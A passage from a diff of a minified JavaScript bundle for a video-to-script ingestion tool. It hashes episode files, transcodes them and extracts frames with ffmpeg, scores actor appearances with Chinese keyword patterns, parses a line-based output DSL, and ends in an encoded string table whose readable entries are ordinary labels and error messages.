+ `);let j=await g.prepare(M,e.signal);try{O.output.registry_delta=await Gh(g,j,O.output,k,ie.message,e.signal),n.writeJson(`${E}.response.json`,O.output)}finally{await g.release(j,e.signal)}U=ps(structuredClone(c.context),O.output,_.episode),R=qa(C,{context:U,identityMap:c.identityMap},p)}let K={context:U,identityMap:R.identityMap};N="checkpoint",n.writeJson(`${E}.json`,O),n.writeJson("checkpoint.json",K),c=K,a.push(O),N="publish",wl(n,R,c.context),n.clearError(`${E}.error.json`),delete s.current_error,s.updated=new Date().toISOString(),n.writeJson("manifest.json",s),y++;let Z=Date.now();f.windowDone(_.episode,_.episode,Z-x,!1),l.flush({scope:{kind:"episode",episode:_.episode},status:"succeeded",startedAtMs:x,endedAtMs:Z});let Re=O.output.scenes.reduce((ie,j)=>ie+j.actions.length,0);process.stderr.write(` \u5DF2\u4FDD\u5B58\uFF1A${O.output.scenes.length} \u573A / ${Re} \u6761\u6B63\u6587
275
+ `)}catch(M){let I=Fa(M,_.episode,N);throw n.writeJson(`${E}.error.json`,I),n.writeJson("manifest.json",{...s,updated:I.occurred_at,current_error:I}),l.flush({scope:{kind:"episode",episode:_.episode},status:"failed",startedAtMs:x,endedAtMs:Date.now()}),M}}let w=qa(a,c,p);wl(n,w,c.context);let h=a.length===r.length;return u="succeeded",{workspace:n.root,script_path:n.path("script.json"),kind:"comic",episodes:r.length,processed:y,reused:m,completed:a.length,remaining:r.length-a.length,complete:h,next_episode:h?null:a.length+1,assets:{actors:w.scriptV4.actors.length,locations:w.scriptV4.locations.length,props:w.scriptV4.props.length}}}finally{f.phaseEnd("serial"),f.finish(),l.finish(u)}}async function zh(e){return Jo(e.workspacePath,()=>EA(e))}import*as kt from"node:fs";import*as Ft from"node:path";function xA(e,t){return e.episode!==t.episode?`episode ${e.episode} was replaced by episode ${t.episode}`:e.ext!==t.ext||e.mime!==t.mime?`episode ${e.episode} changed media type`:e.sha256!==t.sha256?`episode ${e.episode} content changed`:null}function Hh(e,t){if(t.length<e.length)return{kind:"incompatible",reason:`source removed ${e.length-t.length} previously accepted episode(s)`};for(let o=0;o<e.length;o+=1){let i=xA(e[o],t[o]);if(i)return{kind:"incompatible",reason:i}}let n=t.slice(e.length);return n.length===0?{kind:"unchanged",appended:[]}:{kind:"append",appended:n}}function Za(e){for(let t=0;t<e.length;t+=1){let n=t+1,o=e[t].episode;if(o!==n)return`expected episode ${n}, found episode ${o}`}return null}function fr(e){let t=typeof e=="string"?e.trim():"",n=t.match(/^(?:(\d+):)?(\d+):(\d{2})(\.\d{1,3})?$/);if(!n)return t;let o=Number(n[1]??0),i=Number(n[2]),r=Number(n[3]);if(![o,i,r].every(Number.isSafeInteger))return t;let s=o*3600+i*60+r,c=Math.floor(s/3600),a=Math.floor(s%3600/60),d=s%60;return(c>0?`${c}:${String(a).padStart(2,"0")}:${String(d).padStart(2,"0")}`:`${String(a).padStart(2,"0")}:${String(d).padStart(2,"0")}`)+(n[4]??"")}function mr(e,t){if(!e)return e;let n=e.match(/^(\w+):(.+)$/);return n?`${n[1]}:${t.get(n[2])??n[2]}`:t.get(e)??e}var Qh=e=>String(e).padStart(3,"0"),SA={\u5185:"interior",\u5916:"exterior"},IA={act:"action",dlg:"dialogue",think:"inner_thought"},_l={broadcast:"broadcast",system:"system",group:"group",offscreen:"offscreen",prop:"offscreen",location:"offscreen"};function AA(e){let t=e.match(/^(\w+):(.+)$/);if(t&&_l[t[1]]){let n=t[2].trim();return n?{kind:_l[t[1]],label:n}:{kind:_l[t[1]]}}return dt(e)?{kind:"group",label:e.trim()}:{name:e}}function Fh(e,t){let n=0,o=e.map((i,r)=>{let s=`video:episode:${i.episode}`,c=new Map;return{identity_key:s,episode_id:`ep_${Qh(r+1)}`,scenes:i.scenes.map(a=>{let d=a.timeRange?.trim()?`time:${a.timeRange.trim()}`:`index:${a.index}`,p=(c.get(d)??0)+1;c.set(d,p);let l=`${s}:scene:${d}:${p}`,f={},u=SA[(a.environment.space??"").trim()],y=Co(a.environment.time);u&&(f.space=u),y&&(f.time=y);let m=[],g=A=>{m.some(k=>k.name===A)||m.push({name:A})};for(let A of a.characters)A.name&&!dt(A.name)&&(A.states.length===0?m.push({name:A.name}):m.push(...A.states.map(k=>({name:A.name,state:k}))));let w=new Map,h=a.anchors.map(A=>{let k=fr(A.ts),N=k?`time:${k}`:`content:${JSON.stringify([A.kind,A.speaker??"",A.content])}`,M=(w.get(N)??0)+1;w.set(N,M);let I={identity_key:`${l}:action:${N}:${M}`,type:IA[A.kind]??"action",content:A.content};if((A.kind==="dlg"||A.kind==="think")&&A.speaker){let U=AA(A.speaker);I.speaker=U,"name"in U&&g(U.name)}A.parenthetical&&(I.parenthetical=A.parenthetical);let O=fr(A.ts);return O&&(I.extend={timestamp:O}),I}),_=(a.location??"").trim(),x=[],E=new Set;for(let A of a.props??[]){if(!A)continue;let k=A.normalize("NFC").replace(/\s+/g," ").trim();!k||E.has(k)||(E.add(k),x.push({name:A}))}return{identity_key:l,scene_id:`scn_${Qh(++n)}`,...f.space||f.time?{environment:f}:{},location:_?{name:_}:null,actors:m,props:x,actions:h}})}});return{title:t,episodes:o}}var kA=60,bA=6,vA=[-1e3,0,1e3],Wh=/(?:身穿|穿着|服装|造型|衣|裙|袍|衫|夹克|制服|西装|盔甲|装甲|防弹服|套装|裤|靴)/u,El=/(?:全身|半身|上半身|四分之三身|躯干|胸前|腰部)/u,xl=/(?:站(?:在|立)|坐(?:在|下|起)|跪(?:在|下|倒)?|蹲(?:在|下)?|走(?:在|出|向)|行走|迈步|奔跑|跳起|跃起|转身|抬头|转头)/u,Yh=/(?:特写|近景|脸|面容|五官|正脸|侧脸|侧前脸|双眼|眼眶|眉头|嘴角)/u,Xh=/(?:背对|背影|远处|极远|模糊|运动模糊|脸被遮|面部遮挡|只露出|纯道具|空镜)/u,ey=/(?:双脚|脚部|膝盖|伤口|手部特写)/u,ty=/(?:画外音|旁白|未入镜|镜外|电话音|广播|\bO\.?S\.?\b)/iu;function Ko(e){return e.normalize("NFC").replace(/\s+/g," ").trim()}function ny(e){let t=e.trim().match(/^(?:(\d{1,2}):)?(\d{1,2}):(\d{2})(?:\.(\d{1,3}))?$/);if(!t)return null;let n=Number(t[1]??0),o=Number(t[2]),i=Number(t[3]);if(o>=60&&t[1]!==void 0||i>=60)return null;let r=String(t[4]??"").padEnd(3,"0");return((n*60+o)*60+i)*1e3+Number(r||0)}function oy(e){let t=e.trim().match(/^(\d+):(\d{2})$/);return t?Number(t[1])*1e3+Number(t[2])*10:null}function iy(e,t="clock"){return t==="legacy_centiseconds"?oy(e):ny(e)}function Sl(e,t){return e===null?!1:t===void 0||e<=t}function OA(e,t){if(t===void 0)return"clock";let n=e.scenes.flatMap(r=>r.actions.map(ry)).filter(Boolean),o=n.filter(r=>Sl(ny(r),t)).length;return n.filter(r=>Sl(oy(r),t)).length>o?"legacy_centiseconds":"clock"}function qh(e){let t=Math.floor(e/6e4),n=Math.floor(e%6e4/1e3),o=e%1e3;return`${String(t).padStart(2,"0")}:${String(n).padStart(2,"0")}.${String(o).padStart(3,"0")}`}function ry(e){let t=e.extend?.timestamp;return typeof t=="string"?t.trim():""}function RA(e,t){let n=new Set([e.actor_name,...e.aliases??[]].map(Ko).filter(Boolean));for(let[o,i]of t)Ko(i)===Ko(e.actor_name)&&n.add(Ko(o));return[...n].sort((o,i)=>i.length-o.length)}function sy(e,t){let n=t.map(o=>e.indexOf(o)).filter(o=>o>=0);return n.length>0?Math.min(...n):-1}function ay(e,t,n){return t.filter(o=>sy(e,n.get(o.actor_id)??[])>=0).length}function MA({action:e,actor:t,actorCount:n,allActors:o,surfaces:i,surfacesByActor:r,stateName:s}){let c=e.type==="action"||e.type==="transition",a=Ko(c?e.content:"parenthetical"in e?e.parenthetical??"":""),d=sy(a,i),p=d>=0&&d<=12,l=d>=0,u=e.type==="dialogue"&&"speaker"in e&&"actor_id"in e.speaker&&e.speaker.actor_id===t.actor_id&&!ty.test(a),y=n===1&&(c&&a.length>0||u&&a.length>0&&(xl.test(a)||Yh.test(a)));if(!l&&!u&&!y)return null;let m=p||u?"target_anchor":"scene_fallback",g=u?250:p?65:l?50:45,w=u?250:p?65:l?50:45;n===1&&(g+=20,w+=20);let h=Ko(s);return h&&h!=="default"&&h!=="\u9ED8\u8BA4"&&a.includes(h)&&(g+=35),Wh.test(a)&&(g+=30),El.test(a)?(g+=25,w+=15):xl.test(a)&&(g+=15,w+=5),Yh.test(a)&&(w+=30,El.test(a)||(g-=20)),Xh.test(a)&&(g-=70,w-=70),ey.test(a)&&(g-=40),ay(a,o,r)>=2&&(g-=15,w-=15),{stateScore:g,identityScore:w,selection:m}}function LA(e,t,n){let o=e.type==="action"||e.type==="transition",i="parenthetical"in e?Ko(e.parenthetical??""):"";if(!o&&ty.test(i))return null;let r=Ko(o?e.content:i),s=o?0:-40;return s-=ay(r,t,n)*20,Wh.test(r)&&(s+=10),El.test(r)?s+=10:xl.test(r)&&(s+=5),Xh.test(r)&&(s-=20),ey.test(r)&&(s-=10),{stateScore:s,identityScore:Number.NEGATIVE_INFINITY,selection:"scene_fallback"}}function fs(e,t,n){let o=(n.get(`${e.episode}:${e.milliseconds}`)?.size??0)>1;return e[t]-(o?35:0)}function cy(e,t,n,o,i){let r=new Map;for(let a of e){let d=`${a.episode}:${a.milliseconds}`,p=r.get(d);(!p||fs(a,t,n)>fs(p,t,n))&&r.set(d,a)}let s=[...r.values()].sort((a,d)=>fs(d,t,n)-fs(a,t,n)||a.episode-d.episode||a.milliseconds-d.milliseconds).filter(a=>i===null||fs(a,t,n)>=i),c=[];for(let a of s)if(!c.some(p=>p.episode===a.episode&&p.sceneId===a.sceneId&&Math.abs(p.milliseconds-a.milliseconds)<3e3)&&(c.push(a),c.length>=o))break;return c}function NA(e,t,n){return cy(e,t,n,1,null)[0]??null}function Zh(e){return e.replace(/[^0-9]+/g,"-").replace(/^-|-$/g,"")||"unknown"}function Wa(e,t,n,o,i){let r=new Map(o.map(g=>[g.episode,g])),s=Bo(n.registry),c=new Map(t.actors.map(g=>[g.actor_id,g])),a=new Map(t.actors.map(g=>[g.actor_id,RA(g,s)])),d=new Map,p=new Map,l=new Map,f=new Map;for(let g=0;g<t.episodes.length;g+=1){let w=t.episodes[g],h=g+1,_=r.get(h);if(!_)continue;let x=OA(w,_.duration_ms);for(let E=0;E<w.scenes.length;E+=1){let A=w.scenes[E],k=A.actors.map(N=>c.get(N.actor_id)).filter(N=>!!N);for(let N of A.actors){d.set(N.actor_id,(d.get(N.actor_id)??0)+1);let M=c.get(N.actor_id);if(!M)continue;let I=a.get(M.actor_id)??[M.actor_name],O=[],U=N.state_ids.length===1?N.state_ids[0]:null,C=U?M.states.find(R=>R.state_id===U):null;for(let R of A.actions){let K=ry(R),Z=iy(K,x);if(!Sl(Z,_.duration_ms))continue;let Re=MA({action:R,actor:M,actorCount:k.length,allActors:k,surfaces:I,surfacesByActor:a,stateName:C?.state_name??"default"}),ie=Re??(C?LA(R,k,a):null);if(!ie)continue;let j={actorId:M.actor_id,episode:h,episodeId:w.episode_id,sceneId:A.scene_id,timestamp:qh(Z),milliseconds:Z,durationMs:_.duration_ms,stateScore:ie.stateScore,identityScore:ie.identityScore,selection:ie.selection,sourcePath:_.path,sourceSha256:_.sha256};if(O.push(j),Re){let vt=`${h}:${Z}`,P=f.get(vt)??new Set;P.add(M.actor_id),f.set(vt,P)}}if(O.length>0){let R=p.get(M.actor_id)??[];if(R.push(...O),p.set(M.actor_id,R),C){let K=`${M.actor_id}:${C.state_id}`,Z=l.get(K)??[];Z.push(...O),l.set(K,Z)}}}}}let u=(g,w)=>{let h=c.get(g),_=c.get(w),x=h?.importance==="background"?1:0,E=_?.importance==="background"?1:0;return x-E||(d.get(w)??0)-(d.get(g)??0)||(h?.actor_name??g).localeCompare(_?.actor_name??w,"zh-CN")},y=[...l.entries()].flatMap(([g,w])=>{let[h,_]=g.split(":"),x=h?c.get(h):void 0,E=x?.states.find(M=>M.state_id===_),A=NA(w,"stateScore",f);if(!x||!E||!A)return[];let k=`state:${x.actor_id}:${E.state_id}`,N=vA.map(M=>{let I=A.durationMs===void 0?Number.POSITIVE_INFINITY:Math.max(0,A.durationMs-50),O=Math.min(I,Math.max(0,A.milliseconds+M)),U=qh(O);return{evidence_id:`${k}:${A.episode}:${U}`,episode:A.episode,episode_id:A.episodeId,scene_id:A.sceneId,timestamp:U,offset_ms:M,selection:A.selection,source_sha256:A.sourceSha256,source_path:A.sourcePath,frame_path:`evidence/frames/${x.actor_id}/${E.state_id}/ep_${String(A.episode).padStart(3,"0")}_${Zh(U)}.jpg`,frame_status:"pending"}}).filter((M,I,O)=>O.findIndex(U=>U.timestamp===M.timestamp)===I);return[{evidence_id:k,asset_kind:"actor",actor_id:x.actor_id,actor_name:x.actor_name,state_id:E.state_id,state_name:E.state_name,samples:N}]}).sort((g,w)=>u(g.actor_id,w.actor_id)||g.state_name.localeCompare(w.state_name,"zh-CN")),m=[...p.entries()].flatMap(([g,w])=>{let h=c.get(g),_=cy(w,"identityScore",f,bA,kA);if(!h||_.length===0)return[];let x=`identity:${h.actor_id}`;return[{evidence_id:x,asset_kind:"actor",actor_id:h.actor_id,actor_name:h.actor_name,samples:_.map(E=>({evidence_id:`${x}:${E.episode}:${E.timestamp}`,episode:E.episode,episode_id:E.episodeId,scene_id:E.sceneId,timestamp:E.timestamp,offset_ms:0,selection:E.selection,source_sha256:E.sourceSha256,source_path:E.sourcePath,frame_path:`evidence/frames/${h.actor_id}/identity/ep_${String(E.episode).padStart(3,"0")}_${Zh(E.timestamp)}.jpg`,frame_status:"pending"}))}]}).sort((g,w)=>u(g.actor_id,w.actor_id));return{version:2,source_sha256:i,items:y,identities:m}}function dy(e){return iy(e)}function py(e,t){let n=e.scenes.map((o,i)=>{let r={};o.environment?.space&&(r.space=o.environment.space),o.environment?.time&&(r.time=o.environment.time);let s=(o.anchors??[]).map(c=>({kind:c.kind,...c.speaker?{speaker:c.speaker}:{},...c.parenthetical?{parenthetical:c.parenthetical}:{},...c.ts?{ts:c.ts}:{},content:c.content??""}));return{index:i+1,environment:r,...o.timeRange?{timeRange:o.timeRange}:{},...o.location?{location:o.location}:{},characters:(o.characters??[]).filter(c=>c.name).map(c=>({name:c.name,states:[...c.states]})),props:(o.props??[]).filter(Boolean),anchors:s}});return{episode:t,synopsis:(e.synopsis??"").trim(),scenes:n,actors:[],locations:[],props:[],speakers:[],actorStates:[],locationStates:[],propStates:[]}}import*as Xa from"node:path";function uy(e){return Xa.extname(e).toLowerCase()}function UA(e){return vp[uy(e)]??"application/octet-stream"}function ly(e,t){return new S(e,{exitCode:b,errorCode:"INGEST_VIDEO_DISCOVERY",hint:"Name every episode file with a number, or none of them, and rerun `scriptctl ingest`.",data:{actual:t}})}function Il(e,t){return{episode:t,path:e,ext:uy(e),mime:UA(e)}}function ec(e){if(e.kind!=="video-file"&&e.kind!=="video-directory")throw new S("Expected video source.",{exitCode:b,errorCode:"INGEST_WRONG_PIPELINE"});if(e.kind==="video-file")return[Il(e.path,1)];let t=e.files,n=t.map(ja),o=n.filter(r=>r!==null);if(o.length===0)return t.map((r,s)=>Il(r,s+1));if(o.length!==t.length){let r=t.filter((s,c)=>n[c]===null).map(s=>Xa.basename(s));throw ly("Some episode files carry a number and some do not.",[`unnumbered: ${r.join(", ")}`])}let i=new Set;for(let r of o){if(i.has(r))throw ly("Two episode files resolve to the same number.",[`duplicate episode: ${r}`]);i.add(r)}return t.map((r,s)=>Il(r,n[s])).sort((r,s)=>r.episode-s.episode)}import*as fy from"node:fs";import*as my from"node:path";function gy(e,t=[],n){let o=new Map(t.map(r=>[r.episode,r])),i=n?Date.parse(n):Number.NaN;return e.map(r=>{let s=my.resolve(r.path),c=fy.statSync(s),a=c.size,d=Math.trunc(c.mtimeMs),p=o.get(r.episode),l=p&&p.size_bytes===a&&p.mtime_ms===d,f=p&&p.size_bytes===void 0&&p.mtime_ms===void 0&&p.path===s&&Number.isFinite(i)&&c.mtimeMs<=i,u=p&&p.ext===r.ext&&p.mime===r.mime&&(l||f)?p.sha256:Oc(s);return{episode:r.episode,path:s,ext:r.ext,mime:r.mime,sha256:u,size_bytes:a,mtime_ms:d}})}function tc(e){return _e(JSON.stringify(e.map(t=>({episode:t.episode,ext:t.ext,mime:t.mime,sha256:t.sha256}))))}import{spawn as PA}from"node:child_process";import*as gt from"node:fs";import*as hy from"node:path";var CA=20*1024*1024,TA="scale='if(gt(a,1),min(1280,iw),-2)':'if(gt(a,1),-2,min(1280,ih))'";function VA(e,t){return["-y","-loglevel","error","-i",e,"-vf",TA,"-c:v","libx264","-preset","medium","-crf","27","-pix_fmt","yuv420p","-c:a","aac","-b:a","96k","-movflags","+faststart","-f","mp4",t]}function $A(e,t,n){return new Promise((o,i)=>{if(n?.aborted){i(new Error("aborted"));return}let r=PA("ffmpeg",VA(e,t),{stdio:["ignore","ignore","pipe"]}),s="";r.stderr?.on("data",a=>{s+=String(a)});let c=()=>{r.kill("SIGKILL")};n?.addEventListener("abort",c,{once:!0}),r.on("error",a=>{n?.removeEventListener("abort",c),i(a)}),r.on("close",a=>{n?.removeEventListener("abort",c),a===0?o():i(new Error(`ffmpeg exited ${a}: ${s.trim().slice(0,300)}`))})})}async function yy(e,t,n,o){if(gt.existsSync(t)&&(gt.statSync(t).size??0)>0)return{path:t,mime:"video/mp4",transcoded:!0};let i=0;try{i=gt.statSync(e).size}catch{}if(i>0&&i<=CA)return{path:e,mime:n,transcoded:!1,note:`already ${(i/1024/1024).toFixed(1)}MB (\u226420MB)`};let r=`${t}.part`;try{if(gt.mkdirSync(hy.dirname(t),{recursive:!0}),gt.rmSync(r,{force:!0}),await $A(e,r,o),!gt.existsSync(r)||gt.statSync(r).size===0)throw new Error("ffmpeg produced no output");return gt.renameSync(r,t),{path:t,mime:"video/mp4",transcoded:!0}}catch(s){try{gt.rmSync(r,{force:!0}),gt.rmSync(t,{force:!0})}catch{}if(o?.aborted)throw s instanceof Error?s:new Error(String(s));let c=s instanceof Error?s.message:String(s);return{path:e,mime:n,transcoded:!1,note:`transcode failed, uploading original (${c})`}}}import{spawn as DA}from"node:child_process";import*as je from"node:fs";import*as wy from"node:path";var GA="scale='if(gt(a,1),min(960,iw),-2)':'if(gt(a,1),-2,min(960,ih))'",BA=4;function JA(e){let t=dy(e);return t===null?null:(t/1e3).toFixed(3)}var KA=async(e,t,n,o)=>{if(o?.aborted)throw new Error("aborted");let i=JA(t);if(i===null)return{ok:!1,error:"invalid timestamp"};try{if(!je.existsSync(e)||je.statSync(e).size===0)return{ok:!1,error:"source video is unavailable or empty"}}catch{return{ok:!1,error:"source video is unavailable"}}je.mkdirSync(wy.dirname(n),{recursive:!0});let r=`${n}.part`;return je.rmSync(r,{force:!0}),new Promise((s,c)=>{let a=DA("ffmpeg",["-y","-loglevel","error","-ss",i,"-i",e,"-frames:v","1","-vf",GA,"-q:v","3","-f","image2",r],{stdio:["ignore","ignore","pipe"]});a.stderr?.resume();let d=()=>{a.kill("SIGKILL")};o?.addEventListener("abort",d,{once:!0}),a.on("error",()=>{o?.removeEventListener("abort",d),je.rmSync(r,{force:!0}),o?.aborted?c(new Error("aborted")):s({ok:!1,error:"frame extractor unavailable"})}),a.on("close",p=>{if(o?.removeEventListener("abort",d),o?.aborted){je.rmSync(r,{force:!0}),c(new Error("aborted"));return}if(p===0&&je.existsSync(r)&&je.statSync(r).size>0){je.renameSync(r,n),s({ok:!0});return}je.rmSync(r,{force:!0}),s({ok:!1,error:`frame extraction failed (exit ${p??"unknown"})`})})})};function jA(e){let{source_path:t,...n}=e;return n}async function nc(e,t,n,o=KA,i={}){let r=i.reuseExistingFrames!==!1,s=[...t.items.flatMap(y=>y.samples),...(t.identities??[]).flatMap(y=>y.samples)],c=new Map,a=0,d=async()=>{for(;;){let y=a;if(a+=1,y>=s.length)return;if(n?.aborted)throw new Error("aborted");let m=s[y],g=e.path(m.frame_path),w;r&&je.existsSync(g)&&je.statSync(g).size>0?w={ok:!0}:(je.rmSync(g,{force:!0}),w=await o(m.source_path,m.timestamp,g,n)),c.set(m,jA({...m,frame_status:w.ok?"ready":"unavailable",...w.error?{error:w.error}:{}}))}};await Promise.all(Array.from({length:Math.min(BA,s.length)},()=>d()));let p=y=>y.map(m=>c.get(m)),l=t.items.map(y=>({...y,samples:p(y.samples)})),f=(t.identities??[]).map(y=>({...y,samples:p(y.samples)})),u={version:2,generated_at:new Date().toISOString(),source_sha256:t.source_sha256,items:l,...f.length>0?{identities:f}:{}};if(e.has("evidence/state-evidence.json"))try{let y=e.readJson("evidence/state-evidence.json"),m=g=>JSON.stringify({version:g.version,source_sha256:g.source_sha256,items:g.items,identities:g.identities??[]});if(m(y)===m(u))return y}catch{}return e.writeJson("evidence/state-evidence.json",u),u}var zA=new Set(["apparent_gender","apparent_age","face_shape","brows_eyes","nose","mouth","skin_features","hair","build","voice"]),Al=()=>({apparent_gender:"",apparent_age:"",face_shape:"",brows_eyes:"",nose:"",mouth:"",skin_features:"",hair:"",build:"",persistent_marks:[],voice:""}),gr=(e,t)=>{let n=e.split("|"),o=n.slice(0,t-1).map(r=>r.trim()),i=n.slice(t-1).join("|").trim();for(;o.length<t-1;)o.push("");return[...o,i]};function kl(e){let t=[],n=[],o=[],i=[],r=[],s=[],c=[],a="",d,p,l=!1,f=0;for(let u of e.split(/\r?\n/)){let y=u.replace(/|/g,"|").trim().replace(/^[-*]\s+/,"");if(!y||y.startsWith("```"))continue;f++;let g=d&&!p&&/^\d{2}:\d{2}\|[^|]*\|/.test(y)&&y.split("|").length===3?["","shot",y]:/^([a-z_]+):?\s*(.*)$/.exec(y),w=g?.[1]??"",h=g?.[2]??"",_=x=>p[x];if(w==="synopsis"){a=h;continue}if(w==="scene"){let[x,E,A,k]=gr(h,4);d={space:x,time:E,timeRange:A,location:k,characters:[],props:[],shots:[],voices:[]},t.push(d),p=void 0;continue}if(d&&!p){if(w==="char"){let[x,...E]=h.split("|").map(A=>A.trim());x&&d.characters.push({name:x,states:E.filter(Boolean)});continue}if(w==="props"){d.props.push(...h.split("|").map(x=>x.trim()).filter(Boolean));continue}if(w==="shot"){let[x,E,A]=gr(h,3);d.shots.push({ts:x,camera:E,visual:A});continue}if(w==="dlg"||w==="think"){let[x,E,A,k]=gr(h,4);d.voices.push({kind:w,speaker:E,parenthetical:A,ts:x,content:k});continue}}if(w==="new"){let[x,E,A,k]=gr(h,4);p={name:E,kind:x,status:A,importance:k,recognition_anchors:[],identity_profile:Al(),appearance:"",role:"",states:[],aliases:[]},l=!1,n.push(p);continue}if(w==="enrich"){p={name:h.trim(),add_recognition_anchors:[],identity_profile_patch:Al(),appearance:"",add_aliases:[],add_states:[]},l=!0,o.push(p);continue}if(w==="rename"){let[x,E,A]=gr(h,3);i.push({from_name:x,canonical_name:E,evidence:A}),p=void 0;continue}if(w==="open"){r.push({text:h.trim()}),p=void 0;continue}if(w==="close"){s.push({ref:h.trim()}),p=void 0;continue}if(p){if(l&&w==="identity_revision"){p.identity_revision={profile:Al(),recognition_anchors:[]};continue}let x=p.identity_revision,E=x?.profile??p[l?"identity_profile_patch":"identity_profile"];if(zA.has(w)){E[w]=h.trim();continue}let A=h.split("|").map(k=>k.trim()).filter(Boolean);if(w==="mark"){E.persistent_marks.push(...A);continue}if(w==="anchor"||w==="anchors"){(x?x.recognition_anchors:_(l?"add_recognition_anchors":"recognition_anchors")).push(...A);continue}if(w==="alias"){_(l?"add_aliases":"aliases").push(...A);continue}if(w==="role"||w==="appearance"){p[w]=h.trim();continue}if(w==="state"){let[k,N]=gr(h,2);_(l?"add_states":"states").push({name:k,description:N});continue}}c.push(y)}return{value:{synopsis:a,scenes:t,registry_delta:{new_entities:n,enrich:o,canonicalize:i},open_threads:{opened:r,closed:s}},recognized:f-c.length,unknown:c}}var _y=e=>kl(e).recognized>0,Ey=`\u3010\u8F93\u51FA\u683C\u5F0F\uFF1A\u884C\u5F0F DSL\u3011\u53EA\u8F93\u51FA\u4E0B\u5217\u683C\u5F0F\u7684\u7EAF\u6587\u672C\uFF0C\u4E0D\u8981 JSON\u3001Markdown \u4EE3\u7801\u5757\u3001\u6807\u9898\u6216\u4EFB\u4F55\u89E3\u91CA\u3002\u4E00\u884C\u4E00\u6761\u8BB0\u5F55\uFF1A\u884C\u9996\u662F\u5C0F\u5199\u6807\u7B7E\uFF0C\u6807\u7B7E\u540E\u4E00\u4E2A\u7A7A\u683C\uFF0C\u5B57\u6BB5\u4E4B\u95F4\u7528\u534A\u89D2 | \u5206\u9694\uFF1B\u6700\u540E\u4E00\u4E2A\u5B57\u6BB5\u53EF\u4EE5\u5305\u542B\u4EFB\u610F\u6587\u5B57\u3002\u4EFB\u4F55\u503C\u5185\u90FD\u4E0D\u6362\u884C\u3001\u4E0D\u5199 |\u3002\u53EF\u9009\u5B57\u6BB5\u4E3A\u7A7A\u65F6\u4FDD\u7559\u5206\u9694\u7B26\u3002\u89C4\u5219\u6B63\u6587\u91CC\u7684\u5B57\u6BB5\u540D\u4E0E\u672C\u683C\u5F0F\u5BF9\u5E94\uFF1Ascenes=scene \u5757\uFF0Cshots=shot \u884C\uFF0Cvoices=dlg/think \u884C\uFF0Cregistry_delta.new_entities=new \u5757\uFF0Cenrich=enrich \u5757\uFF0Ccanonicalize=rename \u884C\uFF0Copen_threads=open/close \u884C\uFF0Cidentity_revision=\u6E05\u7A7A\u753B\u50CF\u4E0E\u951A\u70B9\u884C\u3002
276
276
  \u6309\u4EE5\u4E0B\u987A\u5E8F\u8F93\u51FA\uFF1A
277
277
  synopsis \u672C\u96C6\u5267\u60C5\u6897\u6982\uFF0C\u6309\u53D1\u751F\u987A\u5E8F\uFF0C200-300 \u5B57\u7EAF\u6587\u672C
278
278
  \u8D44\u4EA7\u767B\u8BB0\uFF1A\u5148\u5199\u6240\u9700\u7684 new / enrich / rename \u5757\u3002\u65E7\u5224\u65AD\u7684\u9636\u6BB5\u4FEE\u8BA2\u5C5E\u4E8E\u672C\u6B21\u589E\u91CF\uFF1B\u6CA1\u6709\u65B0\u8BC1\u636E\u4E14\u65E0\u9700\u4FEE\u8BA2\u7684\u5B9E\u4F53\u7701\u7565\u3002
@@ -309,25 +309,25 @@ shot 00:00|\u5168\u666F\uFF0C\u5E73\u89C6\uFF0C\u56FA\u5B9A|\u6797\u665A\u5750\u
309
309
  shot 00:03|\u8FD1\u666F\uFF0C\u6797\u665A\u6B63\u9762\uFF0C\u7F13\u63A8|\u6797\u665A\u62AC\u773C\u770B\u5411\u95E8\u53E3\uFF0C\u624B\u6307\u505C\u5728\u5C4F\u5E55\u4E0A
310
310
  dlg 00:04|\u9ED1\u897F\u88C5\u5BF8\u5934\u4E2D\u5E74\u7537|\u53CC\u624B\u628A\u6587\u4EF6\u888B\u9012\u5411\u6797\u665A|\u6797\u5C0F\u59D0\uFF0C\u5148\u751F\u8BA9\u6211\u628A\u8FD9\u4E2A\u4EA4\u7ED9\u60A8\u3002
311
311
  think 00:07|\u6797\u665A|\u753B\u5916\u97F3\uFF0C\u6307\u5C16\u6536\u7D27|\u4ED6\u7EC8\u4E8E\u8FD8\u662F\u6765\u4E86\u3002
312
- open \u6797\u665A\u662F\u5426\u7B7E\u4E0B\u79BB\u5A5A\u534F\u8BAE`;var W=mn;function Rl(){let e=["zMLUAxnOuMvHC29U","77Ym5lIn6kAb5y+Q6l+u5zUE5l+U6kgL5A2x5Q6144cc","CgvYC2LZDgvUDf9TyxjRCW","CLbkDuq","su5hrvnux1zjrevpx1nfuKLbtf9gquLmruq","C3bHy2u","zMvHDhvYzwq","z2v0","tKzd","BwfW","A2jMz0G","sw5ZCgvJDcb0AguGzxbPC29KzsbLCNjVCIbZAwrLy2fYigfUzcbYzxj1BIbPBMDLC3qGDg8GCMvZDw1LlG","BM9YBwfSAxPL","ywrKx3n0yxrLCW","Dgv4Da","BgvUz3rOoIa","DMLZDwfS","AwrLBNrPDhLFCMv2AxnPB24","A2v5CW","oIbZzxjPywWGB3v0Chv0ihrVBYbZAg9YDcaOzMLUAxnOuMvHC29Upq","zMLUza","Aw5JBhvKzxm","ywrKx3jLy29NBML0Aw9Ux2fUy2HVCNm","rxbPC29Kzsa","CMvNAxn0CNLFzgvSDge","zw50CMLLCW","A29duwC","igfUy2HVCNmGC3rPBgWGAgf2zsbUBYb0Aw1LC3rHBxaGywz0zxiGmYbYzxrYAwvZlG","ywn0","y2fUB25Py2fSx25HBwu","tvPSCwm","5l2G6kAb6l6t5yE6kIRKUidKU73KUkxMOlZNRkBLKiJMNkZKU7VLIQhOOyZLVi8GrfnmioEAHoE6R+AwH+ACRcOQ","uwXvz2i","DMDzs24","DM9Py2vZ","C3rYAw5NAwz5","ywrKx2fSAwfZzxm","C3rYAw5N","CMvWBgfJzufSBa","44cc6k+36yEn5PAW6kEc55Yl5B2t5yMn6zUg77Ym5lI65Q+p5lIa5P2HihnOB3rZiowsJcb2B2LJzxmG5AgR5yAz55YF5A6E6lw354k5ihrZ77Yitu06u1pVViZLJ6/KV53NLzNOR4hMJA7MLk/MJihNMOqGmEkaKZmG5l2n5Bcp5PwW77Yj77Ym5lIn5B6x57Y65AsX44cb55wz56M65OIw5AgRig51BgZVVjS","zxbPC29Kzsa","77Yi6l+z5PIV56YS5lIa6zUg77Ym5PQc5PEG5BEY55+L6k6+5A6A44cc77YjcG","ywXPyxnLCW","zxzPzgvUy2u","AwrLBNrPDhLFChjVzMLSzv9WyxrJAa","C2XPy2u","AgfPCG","DgLTzxn0yw1Wx21PC3nPBMC","DMfSDwvZ","zhnS","yNjVD3nFzxLLCW","ioMBHU+8MUwVUEEfP+ACRoMBHUwoN